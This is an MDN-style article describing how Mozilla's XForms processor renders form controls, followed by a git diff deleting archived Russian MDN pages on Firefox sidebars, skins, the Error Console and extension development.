Currently XForms can be hosted by XHTML and XUL in Seamonkey and Firefox. Later we have plans to support XForms hosted by SVG. The XForms specs define two kinds of XForms UI elements, called 'Form Controls' and 'XForms User Interface'. Elements from the "Form Controls" group allows users to interact with instance data. The set of "XForms User Interface" elements exist to aid form authors in combining host language markup and XForms markup together in order to build user interfaces. Some of the 'Form Controls' can have multiple appearances and thus may be rendered in multiple ways. We use the data type of the instance node that the form control is bound to as a clue when making a rendering decision. The form author can also use the 'appearance' attribute on the form control to give us another clue. For example, a XForms input control may appear as a text field or as a datepicker depending on whether it is bound to a xsd:string type or a xsd:date type. When a xf:output binds to a node that has a type of xsd:date, we output the date value as plain text. An output bound to a date and also having @appearance='full' will display as a calendar.

-

This article uses several notations. If you see Fx 3.0 only, that means that the control will only be available for Firefox 3.0 (Gecko 1.9). There are several possible reasons for this restriction. The first is that the changes required for such controls could not be safely made to Firefox 1.5 or Firefox 2.0. The second is that the control is introduced in XForms 1.1 and we don't feel adding the enhancement would be prudent until the 1.1 spec is more stable. For instance, when the spec reaches 'recommendation'-level status. If you see xhtml/xul then it means the control is available when XForms is hosted in either XHTML or XUL. Similarly, if you see xhtml only or xul only, then it means the control is available only in that host language.

-

Attribute Sets

-

This section describes attributes that are often used on XForms elements. These attributes are combined into following logical groups.

-

UI Common

-

The UI Common attribute set (see the spec) contains the attributes that are available for the XForms elements that are used to build the user interface presentation in a form.

- -

Binding attributes

-

Single-Node (see the spec) and Node-Set (see the spec) attributes are used to bind XForms elements to instance nodes. These attributes are: ref, nodeset, model and bind.

-

XForms Elements

-

Almost every XForms element can be presented as one of serveral different kinds of widgets. This section contains a short description of each XForms element and its representation. The XForms specification offers suggestions for some of the representations, but some of the widgets we use are only available in the Mozilla XForms processor. The choice of widget that we use is often determined by the data type of the instance node that the xforms element is bound to. The form author can also influence the widget by using the appearance attribute on the element.

-

Form Controls Module

-

This section contains a short description for each form control element.

-
input
-

A key xforms element to show and change the instance data to which it is bound. Usually bound to data that can be well-represented by a string (see the spec). It can have the following representations:

- -
secret
-

Used for inputting passwords. Each character typed by the user is represented by an asterisk on the screen (see the spec).

-
textarea
-

Serves to show/change multiline text (see the spec).

-
output
-

Serves to show the instance data that the element is bound to in a read-only manner (see the spec). It can have the following presentations:

- -
upload
-

Provides a means for the user to select a file (see the spec).

-
range
-

Allows the user to choose a value from within a specific range of values. It is represented by a slider widget (see the spec).

-
trigger
-

Allows the user to initiate actions (see the spec). It can have the following representations:

- -
submit
-

Invokes the submission of the selected instance data to its target destination, which could be local or remote (see the spec). It can have the following representations:

- -
select
-

List control. Allows the user to choose one or multiple values from a list of pre-defined values (see the spec). It can have the following representations:

- -
select1
-

Combobox control. Allows the user to choose a single value from a list of pre-defined values (see the spec). It can have the following representations:

- -

Additional Elements

-

These elements may be used as child elements to the form controls described above.

-
label
-

Specifies the label for the xforms control (see the spec). Every form control other than the output element must contain a label element. It is valid for a form control to have an empty label element.

-
help
-

Specifies contextual help for the containing form control (see the spec). The help will be displayed if the F1 key is pressed while the containing form control has focus.

-
hint
-

Similar to a tooltip (see the spec). The hint is displayed when the mouse moves and pauses over the containing form control.

-
alert
-

This message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the specified range of selectable values (see the spec).

-
message
-

Used in combination with event listeners to display a message to the user when the specified event occurs (see the spec).

-

XForms User Interface

-

These elements are mainly used to organize and manage the form's markup.

-

They can be bound to instance nodes to define context for the xforms controls that they contain, should any of their child nodes happen to use relative xpath expressions. Binding these elements to instance data is also a way to apply Model Item Properties (for example, relevancy) to the elements.

-

Elements in this section do not have any behaviors that are dependent on the host language.

-
group
-

This element is used to logically group xforms elements together (see the spec).

-
switch
-

This element is used in conjunction with case and toggle elements (see the spec). The switch element contains case elements which in turn contain markup. Only the contents of a single case may be displayed at one time. The toggle element is used (as an event handler) to make a case visible and thereby hiding all other case elements contained by the same switch.

-
repeat
-

A repeat element contains markup and is itself bound to a nodeset in an instance document (see the spec). For each node in the nodeset, the contents of the repeat element will be displayed in the form. That node will serve as the context node for any relative xpath expressions in that set of repeated markup. For example, if a repeat is bound to a nodeset that contains 5 nodes and the repeat contains an output element that echoes the current node, then the user will see 5 outputs in the form. Combined together, these outputs would echo the value of every node in the selected nodeset.

diff --git a/files/ru/archive/web/xforms/user_interface_elements/secret/index.html b/files/ru/archive/web/xforms/user_interface_elements/secret/index.html deleted file mode 100644 index bcf82e040f..0000000000 --- a/files/ru/archive/web/xforms/user_interface_elements/secret/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: XForms Secret Element -slug: Archive/Web/XForms/User_Interface_Elements/Secret -translation_of: Archive/Web/XForms/User_Interface_Elements/Secret ---- -

-

Introduction

-

Used for inputting passwords or other sensitive text. Each character typed by the user is represented by an asterisk on the screen (see the spec). -

-

Attributes

- -


-

-

Type restrictions

-

The secret element can be bound to a node containing simple content of any data type except xsd:base64Binary, xsd:hexBinray or any data type derived from these. -

-

Representations

-

The XForms secret element is represented by a password field. The password field is a text field, the value of which is hidden by asterisks (xhtml/xul). -

Characteristics -

- diff --git a/files/ru/bypassing_security_restrictions_and_signing_code/index.html b/files/ru/bypassing_security_restrictions_and_signing_code/index.html deleted file mode 100644 index c07266f3a8..0000000000 --- a/files/ru/bypassing_security_restrictions_and_signing_code/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Bypassing Security Restrictions and Signing Code -slug: Bypassing_Security_Restrictions_and_Signing_Code -translation_of: Archive/Misc_top_level/Bypassing_Security_Restrictions_and_Signing_Code ---- -
{{ non-standard_header() }} {{ deprecated_header() }}
- -

ранние версии браузера Firefox посволяют веб сайтам, разделять основные используемые подписанные скрипты, и запрашивают дополнительные права для областей применения подписанных скриптов используя функцию вызова enablePrivelege. Эти детали Менеджера Привелегий  редко используются (из-за возможности злоупотреблений), и их сложность затрудняет улучшение быстродействия. Подписанные скрипты отделяют что было удалено в {{ bug(726125) }}, эта enablePrivilege возможность была удалена в {{ bug(750859) }}, и возможность enablePrivilege сама по себе была отменена в {{ bug(757046) }}.

- -

Менеджер Привелегий  был устаревшим в Firefox 12 и отключен в Firefox 17.

- -

Сайты запрашивающие дополнительные привелегии будут сечас просить Firefox пользователей инсталировать расширение, которое сможет взаимодействовать с непривелефированными страницами если необходимо.

- -

Смотри также

- - diff --git a/files/ru/creating_a_firefox_sidebar/index.html b/files/ru/creating_a_firefox_sidebar/index.html deleted file mode 100644 index 09f3fd95a4..0000000000 --- a/files/ru/creating_a_firefox_sidebar/index.html +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: Создание боковой панели в Firefox -slug: Creating_a_Firefox_sidebar -tags: - - firefox sidebar extension -translation_of: Mozilla/Creating_a_Firefox_sidebar ---- -

 

-

В этой статье описывается, как создать зарегистрированную боковую панель в Firefox 2 или выше. Информацию о создании расширения в более ранних браузерах смотрите в справочном разделе.

-

Введение

-

Эта статья представляет собой быстрый старт для создания новой боковой панели Firefox. Всё, что мы сделаем - это создим боковую панель и зарегистририруем её, чтобы она была доступен в меню. Целью является создание пустой боковой панели, которую можно использовать в качестве заготовки для создания новых приложений в боковой панели.

-

Создание боковой панели требует создания и регистрации в целевом приложении элементов графического интерфейса (GUI). Во-первых, будет создана простая XUL страница. Затем сделаем регистрационные файлы и, наконец, упакуем боковую панель упаковываются в инсталляционный XPI файл.

-

Предпосылки

-

Эта статья представляет собой бастрый старт и не объяснит все элементы XUL, упаковки и XPI. Желательно, чтобы у вас уже были базовые знания о том, как работает XUL и как Firefox обрабатывает расширения. См. Создание расширения (или Building an Extension) для получения более подробной информации о структурировании, упаковке и развертывания расширений.

-

Пакеты

-

 Расширения Firefox устанавливаются вместе с пакетами ("Bundles"). Пакет расширения обычно включает в себя «содержимое» поставщика, который содержит XUL код и логику приложения. Опционально в пакет входят языковые локализации и обложки (скины). Большинство дополнений поставляются с древовидной структурой по умолчанию, хотя это не требуется, но рекомендуется её использовать. Пример пакета для создаваемой боковой панели и включаемых файлов приведены ниже.

-
-

Пример 1. Структура пакета

-
emptysidebar
-\- chrome
-   |- content
-   |- locale
-   | \- en-US
-   \- skin
-
-
-

Создайте все папки, за исключением skin. Она не используется в этом уроке.

-

Папка locale содержит информацию по локализации, в данном случае создана папкатолько для en-US локализации. Это приведено в Примере 2. Локализация включает в себя имя и сочетания клавиш для боковой панели.

-
-

Пример 2. chrome/locale/en-US/emptysidebar.dtd

-
<!ENTITY emptysidebar.title "EmptySidebar">
-<!ENTITY openEmptySidebar.commandkey "E">
-<!ENTITY openEmptySidebar.modifierskey "shift accel">
-
-

Папка content включает в себя нашу боковую панель, содержание файла emptysidebar.xul показано в Примере 3. Он создаёт страницу (page) с одной надписью (label). Можно, также, включить сюда другие элементы. О том, как это делается можно узнать, прочитав учебные материалы по XUL.

-
-

Пример 3. chrome/content/emptysidebar.xul

-
<?xml version="1.0"?>
-<?xml-stylesheet href="chrome://global/skin/" type="text/css" ?>
-<?xml-stylesheet href="chrome://browser/skin/browser.css" type="text/css" ?>
-<!DOCTYPE page SYSTEM "chrome://emptysidebar/locale/emptysidebar.dtd">
-
-<page id="sbEmptySidebar" title="&emptysidebar.title;"
-         xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" >
-  <vbox flex="1">
-    <label id="atest" value="&emptysidebar.title;" />
-  </vbox>
-</page>
-
-
-

Новоые расширения могут быть зарегистрированы о основном и всплывающих меню, для расширения меню Firefox использует оверлеи (overlays). Это отдельный XUL файл, который указывет расположение пунктов меню. В данном уроке панель добаяляется в меню View | Sidebar. Файл оверлея приведен в листинге Пример 4.

-
-

Пример 4. chrome/content/firefoxOverlay.xul

-
<?xml version="1.0"?>
-
-<!DOCTYPE overlay SYSTEM "chrome://emptysidebar/locale/emptysidebar.dtd">
-<overlay id="emptySidebarOverlay"
-         xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-
-  <menupopup id="viewSidebarMenu">
-    <menuitem key="key_openEmptySidebar" observes="viewEmptySidebar"  />
-  </menupopup>
-
-  <keyset id="mainKeyset">
-    <key id="key_openEmptySidebar" command="viewEmptySidebar"
-         key="&openEmptySidebar.commandkey;"
-         modifiers="&openEmptySidebar.modifierskey;" />
-  </keyset>
-
-  <broadcasterset id="mainBroadcasterSet">
-    <broadcaster id="viewEmptySidebar"
-                 label="&emptysidebar.title;"
-                 autoCheck="false"
-                 type="checkbox"
-                 group="sidebar"
-                 sidebarurl="chrome://emptysidebar/content/emptysidebar.xul"
-                 sidebartitle="&emptysidebar.title;"
-                 oncommand="toggleSidebar('viewEmptySidebar');" />
-  </broadcasterset>
-</overlay>
-
-
-

Файл описания оверлея состоит из трёх основных блоков: определение меню, сочетаний клавиш и транслятор (broadcaster).

-

Broadcaster служит двум целям. Первая - косвенное предоставление аргументов функции toggleSidebar. Вторая - обеспечивает (предоставляет) атрибуты пунктам меню, некоторые из которых изменяются автоматически при вызове toggleSidebar. См. Code_snippets/Sidebar для дополнительной информации.

-

Если боковая панель не будет работать с клавиатурными командами, можно удалить ключи openEmptySidebar.commandkey и openEmptySidebar.modifierskey из dtd-схемы, удалив тэг <keyset> из файла firefoxOverlay.xul. Затем нужно установить ключевой атрибут пункта меню в значение "".

-

Для расширения необходимо подготовить несколько специальных файлов манифеста, которые управляют тем, как расширение устанавливается и где хранятся chrome-ресурсы. Первый файл install.rdf, отвечает за инсталляцию расширения. См. Install Manifests для получения полного перечня обязательных и опциональных свойств. Инсталлционный манифест приведен в Примере 5.

-
-

Пример 5. install.rdf

-
<?xml version="1.0" encoding="UTF-8"?>
-
-<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
- xmlns:em="http://www.mozilla.org/2004/em-rdf#">
-  <Description about="urn:mozilla:install-manifest">
-    <em:id>emptysidebar@yourdomain.com</em:id>
-    <em:name>EmptySidebar Extension</em:name>
-    <em:version>1.0</em:version>
-    <em:creator>Your Name</em:creator>
-    <em:description>Example extension for creation and registration of a sidebar.</em:description>
-    <em:targetApplication>
-      <Description>
-        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <!-- firefox -->
-        <em:minVersion>1.5</em:minVersion>
-        <em:maxVersion>2.0.0.*</em:maxVersion>
-      </Description>
-    </em:targetApplication>
-  </Description>
-</RDF>
-
-
-

Следующий манифест-файл это chrome.manifest. Chrome-манифест содержит перечень для всех типов ресурсов, которые используются расширением. Также манифест говорит Firefox-у, что расширение имеет оверлей, который нужно объединить в браузере. Для получения дополнительной информации о chrome-манифесте и поддерживаемых им свойствах см. Chrome Manifest. Манифест, использованный в нашем расширении приведен в Примере 6.

-
-

Пример 6. chrome.manifest

-
content	emptysidebar	chrome/content/
-locale	emptysidebar	en-US	chrome/locale/en-US/
-skin	emptysidebar	classic/1.0	chrome/skin/
-overlay	chrome://browser/content/browser.xul	chrome://emptysidebar/content/firefoxOverlay.xul
-
-
-

Проверка

-

Во время разработки боковой панели вам часто нужно проверить как это выглядит в Firefox. Существует простой способ сделать это. Во-первых, мы должны сказать Firefox-у о вашем расширение

-
    -
  1. Откройте вашу Папку профиля
  2. -
  3. Откройте папку расширений (создайте её, если она не существует)
  4. -
  5. Create a new text file, and put the path to your extension folder inside, e.g. C:\extensions\myExtension or ~/extensions/myExtension. Save the file with the id of your extension as its name, e.g. emptysidebar@yourdomain.com
  6. -
-

Теперь вы готовы к проверке вашего расширения! Перезапустите Firefox и боковая панель будет включена в меню.

-

Image:sidebar-test.png

-

Теперь вы можете вернуться, внести изменения в XUL-файл, закрыть и перезапустить Firefox, и внесенные изменения должны появиться в панели.

-

Развёртывание

-

У нас есть боковая панель, настало время, чтобы сделать её доступной для всего мира. Для установки необходимо создать XPI-файл, который будет идентифицирован как Firefox-расширение. XPI это ZIP-архив, включающий в себя содержимое расширения, файлы локализации и файлы манифеста.

-

Папки содержимого расширения, локализации и скиновупаковываются в файл emptysidebar.jar, который должен быть создан в папке chrome. В UNIX-системах:

-
~/src/emptysidebar$ cd chrome
-~/src/emptysidebar/chrome$ zip -r emptysidebar.jar content/ locale/
-
-

В Windows, используйте архиватор ZIP для создания архива emptysidebar.zip, который, затем, переименуйте в  emptysidebar.jar.

-

Поскольку мы упаковали наше расширение в JAR-файл, нам нужно обновить chrome.manifest, чтобы  JAR-архив был принят во внимание при работе расширения:

-
-

Пример 7. chrome.manifest

-
content emptysidebar	jar:chrome/emptysidebar.jar!/content/
-locale  emptysidebar	en-US	jar:chrome/emptysidebar.jar!/locale/en-US/
-skin    emptysidebar	classic/1.0	jar:chrome/emptysidebar.jar!/skin/
-overlay chrome://browser/content/browser.xul	chrome://emptysidebar/content/firefoxOverlay.xul
-
-
-

Наконец, создайте XPI-файл. Это, также ZIP-архив, содержащий JAR-файл в папке chrome и файлы манифеста. В UNIX-системах:

-
~/src/emptysidebar/chrome$ cd ..
-~/src/emptysidebar$ zip emptysidebar.xpi install.rdf chrome.manifest chrome/emptysidebar.jar
-
-

Откройте Firefox и перейдите в папку, содержащую emptysidebar.xpi. Щёлкните по файлу и октроется окно установщика расширений. После перезапуска Firefox, боковая панель будет установлена.

-

Вы можете загрузить проект empty sidebar для использования его как основы для ваших собственных панелей.

-
-

Image:sidebar-installed.png
- Расширение EmptySidebar

-
-

Ресурсы

- -
-

Оригинальная информация документа

-
    -
  • Author: J.C. Wesdorp <jcwesdorp . at . occidopagus.nl> - May 30, 2005.
  • -
  • Updated for Firefox 2 - Dec 12, 2006.
  • -
  • Permission granted to migrate in Jan 2006, including permission to relicense under the CC:By-SA.
  • -
  • Original Source: http://occidopagus.nl/firefox/emptysidebar/
  • -
-
-
-

{{ languages( { "es": "es/Crear_un_panel_lateral_en_Firefox" } ) }}

-
-  
diff --git a/files/ru/creating_a_skin_for_firefox_getting_started/index.html b/files/ru/creating_a_skin_for_firefox_getting_started/index.html deleted file mode 100644 index 358de9cd59..0000000000 --- a/files/ru/creating_a_skin_for_firefox_getting_started/index.html +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Создание скина для Firefox/Начало работы -slug: Creating_a_Skin_for_Firefox_Getting_Started -tags: - - Для новичков - - Начало работы - - Начальные файли дя работы - - Первый сайт - - Темы -translation_of: Archive/Mozilla/Creating_a_sking_for_Firefox_Getting_Started ---- -

Скачайте и установите последнюю версию Firefox. Также Вам понадобится расширение DOM Inspector, убедитесь, что оно установлено.

- -

Извлечение темы

- -

Предполагается, что начать работу можно с любой темы, которая уже создана для Firefox, поэтому мы будем говорить о редактировании предзаданной темы Firefox.  Она находится в файле classic.jar, хранящемся в каталоге установки Firefox. Файл .jar, по сути является переименованным архивом zip. При открытии файлов .jar через менеджер архивов он автоматически распознается как zip-архив. Однако, если ваше приложение не распознает  classic.jar как стандартный архив zip, переименуйте в classic.zip и продолжите извлечение.

- -
-

Примечание: Начиная с {{Gecko ("2.0") }}, скин содержится в новом файле omni.jar. См. Theme changes in Firefox 4 подробнее о том, как извлечь файлы skin из Firefox 4 или более поздней версии.

-
- -

Пути к Classic.jar

- -

Linux: /usr/lib/MozillaFirefox/chrome/classic.jar or /usr/lib/firefox-*.*.*/chrome/classic.jar

- -

Windows: \Program Files\Mozilla Firefox\chrome\classic.jar

- -

Для Mac OS X:

- - - -

Скопируйте classic.jar в другую более доступную папку -- мы рекомендуем Classic  -- извлеките содержимое этой папки, сохранив при этом структуру каталога.

- -

Каталоги

- -

В архиве classic.jar находится один каталог — skin, и два файла — preview.png и icon.png.

- -
-
skin
-
Этот файл содержит еще один каталог - classic, в котором находится много нужных каталогов.
-
skin\classic
-
В нем содержатся следующие каталоги:
-
skin\classic\browser
-
Тут находятся все иконки панели инструментов, а также иконки для менеджера закладок и окна предварительных настроек.
-
skin\classic\communicator
-
Не играет большой роли и не стоит внимания.
-
skin\classic\global
-
Содержит в себе почти все важные файлы CSS, которые определяют стиль и оформление браузера. Это самый важный каталог в теме.
-
skin\classic\help
-
Содержит все файлы для оформления диалогового окна справки.
-
skin\classic\mozapps
-
Тут лежат все стили и иконки для периферии браузера, таких как менеджер расширений или мастер обновлений.
-
- -

Создание собственной новой темы

- -

Прежде чем отследить созданные в теме Firefox изменения (т.к. изменения достаточно сложно добавлять в интерактивном режиме), изучим, как переархивировать классическую тему так, чтобы ее можно было установить. Можно назвать вашу собственную тему "My_Theme", или любым другим именем.

- -

Копирование необходимых файлов

- -

Первым делом необходимо переместить все файлы в нужный каталог.  Для этого создадим новый каталог с именем My_Theme.  В него поместим каталоги browser, global, communicator, help, и mozapps , а также файлы icon.png и preview.png(да, это значит, что струтура нашего каталога будет немного отличаться от структуры каталога classic.jar).

- -

Создание файлов установки

- -

Contents.rdf

- -

Скопируйте contents.rdf, поместите его в \My_Theme и откройте в текстовом редакторе. Это небольшой файл XML Database, который используется для описния skin.

- -

В коде найдите все сущности "My_Theme" и замените их на название вашей темы.

- -

В разделе пакетов перечислено, какие компоненты браузера вы редактируете. Если у нас также есть скины для Chatzilla, нужно добавить еще одну похожую строку, ведущую на Chatzilla. Но данный список включает в себя все модификации, поэтому достаточно изменить текст, подсвеченный синим так, чтобы он совпадал с именем/версией, которую вы использовали выше.

- -
<RDF:li resource="urn:mozilla:skin:My_Theme:communicator"/>
-<RDF:li resource="urn:mozilla:skin:My_Theme:editor"/>
-<RDF:li resource="urn:mozilla:skin:My_Theme:global"/>
-<RDF:li resource="urn:mozilla:skin:My_Theme:messenger"/>
-<RDF:li resource="urn:mozilla:skin:My_Theme:navigator"/>
-
- -

Сохраните файл и закройте текстовый редактор.

- -

install.rdf

- -

Скопируйте install.rdf в каталог My_Theme и также откройте его в текстовом редакторе. Данный файл представляет собой небольшую базу данных XML, которая описывает скин.

- -
  <Description about="urn:mozilla:install-manifest">
-  <em:id>{Themes_UUID}</em:id>
-  <em:version>Themes_Version</em:version>
-
- -

В первой секции необходимо определить UUID для вашей темы и номер версии.

- -

Также, в следующей секции необходимо обновить минимальную и максимальную совместимые версии для целевого приложения (Firefox):

- -
  <em:targetApplication>
-    <Description>
-      <!-- Firefox's UUID -->
-      <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
-      <em:minVersion>Min_FF_Version</em:minVersion>
-      <em:maxVersion>Max_FF_Version</em:maxVersion>
-    </Description>
-  </em:targetApplication>
-
- -

Указав минимальную и максимальную совместимые версии, вы сможете избежать конфликтов с версиями Firefox, для которых ваша тема не была разработана или протестирована.

- -

См. подробнее о фале install.rdf в Install Manifests.

- -

Файлы CSS

- -

Файлы CSS в данных каталогах сообщают браузеру как отображать кнопки и другие элементы управления, где вставить изображения, какую границу или отступ использовать вокруг них и прочее.

- -

Давайте в качестве примера изменим стандартную кнопку.

- -

Перейдите в глобальный каталог global и откройте файл стилей - button.css в любом текстовом редакторе. Прокрутите текст вниз до секции "button {".  Эта секция определяет базовые настройки кнопки(например, такие как: цвет самой кнопки, цвет и расположение текста на самой кнопке, дизайн, размещение, активна или вовсе отключена).

- -
-

Совет: для быстрого нахождения нужных строк и значений используйте обычный поиск по файлу(практически во всех редакторах это сочетание клавиш Ctrl + F для Linux/Windows и Command + F для Mac OS)

-
- -

Измените значение background-color: на DarkBlue, а значение color: на White, и сохраните файл.

- -

Переархивирование JAR

- -

Теперь осталось только переархивировать файл JAR со следующей структурой каталогов и создать zip архив, используя любой менеджер архивов:

- -
/browser/*
-/communicator/*
-/global/*
-/help/*
-/mozapps/*
-/contents.rdf
-/install.rdf
-/icon.png
-/preview.png
-  
- -

Убедитесь, что вы не просто добавляете в zip-архив родительский каталог My_Themeтак как это приведет к тому, что простая установка перетаскиванием в следующем шаге пройдет неудачно, но сообщений об ошибках не будет. После того, как вы поместили файлы в папку zip, переименуйте ее в My_Theme.jar. 

- -

Запуск установки из сети

- -

Чтобы установить тему из файла JAR из сети, вопользуйтесь командой.

- -
<a href='javascript:InstallTrigger.installChrome(InstallTrigger.SKIN,
- "myskin.jar", "My Skin Theme")'>install My Skin</a>
-
- -

Если файлы JAR на жестком диске, скачайте/используйте для установки эту форму.

- -

Также, можно открыть окно тем в Mozilla и перетащить туда ваш файл .jar.

- -

Теперь, чтобы снова переархивировать ваши папки в .jar, просто поместите ваши папки в файл .zip, а затем после сжатия переименуйте .zip в .jar.

- - - -

{{ languages( { "de": "de/Theme_erstellen/Einf\u00fchrung", "es": "es/Creando_un_skin_para_Firefox/Como_empezar", "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox//Premiers_pas", "ja": "ja/Creating_a_Skin_for_Firefox/Getting_Started", "pl": "pl/Tworzenie_sk\u00f3rek_dla_Firefoksa/Zaczynamy", "pt": "pt/Criando_um_visual_para_o_Firefox/Iniciando", "zh-tw": "zh_tw/\u88fd\u4f5c_Firefox_\u4f48\u666f\u4e3b\u984c/\u4e0a\u624b\u7bc7" } ) }}

diff --git a/files/ru/error_console/index.html b/files/ru/error_console/index.html deleted file mode 100644 index 16f1828b69..0000000000 --- a/files/ru/error_console/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Консоль ошибок -slug: Error_Console -translation_of: Archive/Mozilla/Error_console ---- -
-

Консоль ошибок является устаревшей в Firefox, и на данный момент доступна только при установке значения настройки devtools.errorconsole.enabled в true. Используйте вместо неё веб-консоль для веб-страниц или консоль браузера для содержимого вкладки браузера.

-
- -

Консоль ошибок — инструмент, доступный в большинстве приложений на базе Mozilla, который используется для информирования об ошибках в слое приложения и на веб-страницах, открытых пользователем. Сообщает об ошибках и предупреждениях JavaScript, CSS и сообщениях из кода приложения. В Firefox консоль ошибок может быть открыта из меню «Инструменты» или сочетанием клавиш Ctrl+Shift+J.

- -

Для получения информации о том, какие исключения JavaScript выводятся в консоль ошибок, и как сделать все исключения регистрируемыми, прочтите статью Регистрация исключений в JavaScript. См. статью Настройка среды для разработки расширений, чтобы узнать, какие настройки вы должны установить, если хотите видеть ошибки из Firefox и расширений в консоли ошибок.

- -

До версии Gecko 1.8.1 (Firefox 2) она называлась «консоль JavaScript» (см. {{Bug(265871)}}).

- - - - - - - - -
-

Типы ошибок

- -
-
Ошибка
-
Обычно это синтаксическая ошибка, препятствующая компиляции программы.
-
Предупреждение
-
Обычно позволяет программе скомпилироваться, но предупреждает о плохом коде и указывает на недостатки проектирования.
-
Сообщение
-
Очень похоже на предупреждение, используется гораздо реже.
-
- -

Манипулирование данными, отображаемыми в консоли ошибок

- -

Information displayed in Error Console can be accessed and manipulated through the Console service.

- -

Extensions can write to the Error Console from JavaScript using Components.utils.reportError, or if you're fine with logging to the OS-provided console, dump().

- -

To bring up Error Console from within a browser or mail window, use the function toJavaScriptConsole().

-
-

Альтернативы

- -
-
Console2
-
Это расширение предлагает замену консоли ошибок, исправляя множество ошибок и предлагая давно ожидаемые улучшения.
-
Firebug
-
Это расширение Firefox также интегрирует в консоль ошибок различные усовершенствования.
-
- - - - -
- -

 

diff --git "a/files/ru/faq_\320\277\320\276_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217\320\274/index.html" "b/files/ru/faq_\320\277\320\276_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217\320\274/index.html" deleted file mode 100644 index 88a1da4dfc..0000000000 --- "a/files/ru/faq_\320\277\320\276_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217\320\274/index.html" +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: FAQ по расширениям -slug: FAQ_по_расширениям -tags: - - Расширения -translation_of: Archive/Mozilla/Extension_Frequently_Asked_Questions ---- -

Это список ответов на наиболее часто возникающие вопросы при разработке расширеий. В основном они касаются Firefox, однако в большинстве своем могут быть распространены и на SeaMonkey, Thunderbird и другие приложения.

-

Если вы ищите руководство к началу работы, посмотрите статью Создание расширения или MozillaZine's Getting started tutorial. Попробуйте мастер расширений, чтобы сгенерировать шаблон и начать с работать над расширением.

-

Убедитесь, что настроили Firefox для разработки расширений.

-

Отладка

-

Установите рекомендуемые настройки для удобства отладки своего расширения.

-

Здесь приведен список расширений, призванных помочь вам при отладке.

-

Расширение не работает, но не вижу ошибок в консоли

-

Установите в настройках (about:config) опцию

-
javascript.options.showInConsole = true
-
-

Это приведет к тому, что ошибки JavaScript будут выводиться в консоль ошибок.

-

Как вывести текст из кода расширения

-

Кроме alert(), можно воспользоваться dump(), Components.utils.reportError() или the nsIConsoleService. Можете попробовать также расширение Venkman JavaScript Debugger.

-

Почему моя программа не работает?

-

При возникновении проблем прежде всего изучите консоль ошибок.

-

Частой ошибкой является обращение к узлам DOM окна до его полной загрузки. Это может случиться, если вы поместите такой код вне каких-либо функций (т.е. он выполнится при первом же просмотре скрипта исполнительной системой JavaScript).Если вам необходимо что-либо сделать сразу же при загрузке браузера, оформите эти действия в функцию и поставьте ее обработчиком события load:

-
function onBrowserStartup(evt){
-  //код, выполняющийся при загрузке браузера
-}
-window.addEventListener("load", onBrowserStartup, false);
-
-

Как получить доступ к веб-странице?

-

Для получить доступ к загруженной странице из оверлея для browser.xul, надо воспользоваться content.document вместо привычного document. Для получения дополнительной информации смотрите статью Работы с окнами в коде chrome.

-

Кроме того, по умолчанию en:XPCNativeWrapper ограждает вас от доступа к определенным скриптами объектам на веб-странице и от совершению не которых других вещей.

-

Непонятные ошибки XML-парсера

-

Часто ошибки XML-парсинга вызываются использованием спецсимволов XML, например & или <. Например, нельзя писать так

-
<button oncommand="window.open('http://example.com/q?param1=value&param2=val2')"/>
-
-

и так

-
<script>function lesser(a,b) { return a < b ? a : b; }</script>
-
-

Есть несколько путей решения этой проблемы:

-
  1. заменить эти символы на соответствующие обзначения ("&" - "&amp", "<" - "&lt;" и т.п.).
  2. если заменить нельзя (например, это скрипт), замкните текст с этими символами в теги CDATA
  3. -
-
<script><![CDATA[
-   function lesser(a,b) {
-     return a < b ? a : b;
-   }
- ]]></script>
- 
-

или поместите скрипт в отдельный файл и подключите его в главном файле.

-
<script type="application/x-javascript" src="file.js"/>
-

Пользуйтесь готовым кодом

-

Расширения поставляются в исходных кодах, поэтому вы вольны просматривать их код и узнавать, как они работают. XPI и JAR файлы являются просто переименованными zip-архивами.

-

Где еще можно получить информацию?

-

Просмотрите документацию, касающуюся расширений, примеры кода, примеры кода на MozillaZine.

-

Обратите внимание на en: Extensions:Other Resources и en: Extensions:Community.

-

{{ languages( { "de": "de/Erweiterungen_FAQ", "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ja": "ja/Extension_Frequently_Asked_Questions", "pl": "pl/Cz\u0119sto_zadawane_pytania_dotycz\u0105ce_rozszerze\u0144", "en": "en/Extension_Frequently_Asked_Questions" } ) }}

diff --git a/files/ru/firefox_addons_developer_guide/index.html b/files/ru/firefox_addons_developer_guide/index.html deleted file mode 100644 index 2d70d83073..0000000000 --- a/files/ru/firefox_addons_developer_guide/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Руководство разработчика дополнений Firefox -slug: Firefox_addons_developer_guide -translation_of: Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide ---- -

{{ Next("Firefox addons developer guide/Introduction to Extensions") }}

-

Глава 1: Знакомство с расширениями

-

en: Chapter 2: Technologies used in developing extensions

-

en: Chapter 3: Introduction to XUL—How to build a more intuitive UI

-

en: Chapter 4: Using XPCOM—Implementing advanced processes

-

en: Chapter 5: Let's build a Firefox extension

-

en: Chapter 6: Firefox extensions and XUL applications

-

en: License and authors

-

{{ Next("Firefox addons developer guide/Introduction to Extensions") }}

-

{{ languages( { "de" : "de/Firefox_addons_developer_guide" } ) }}

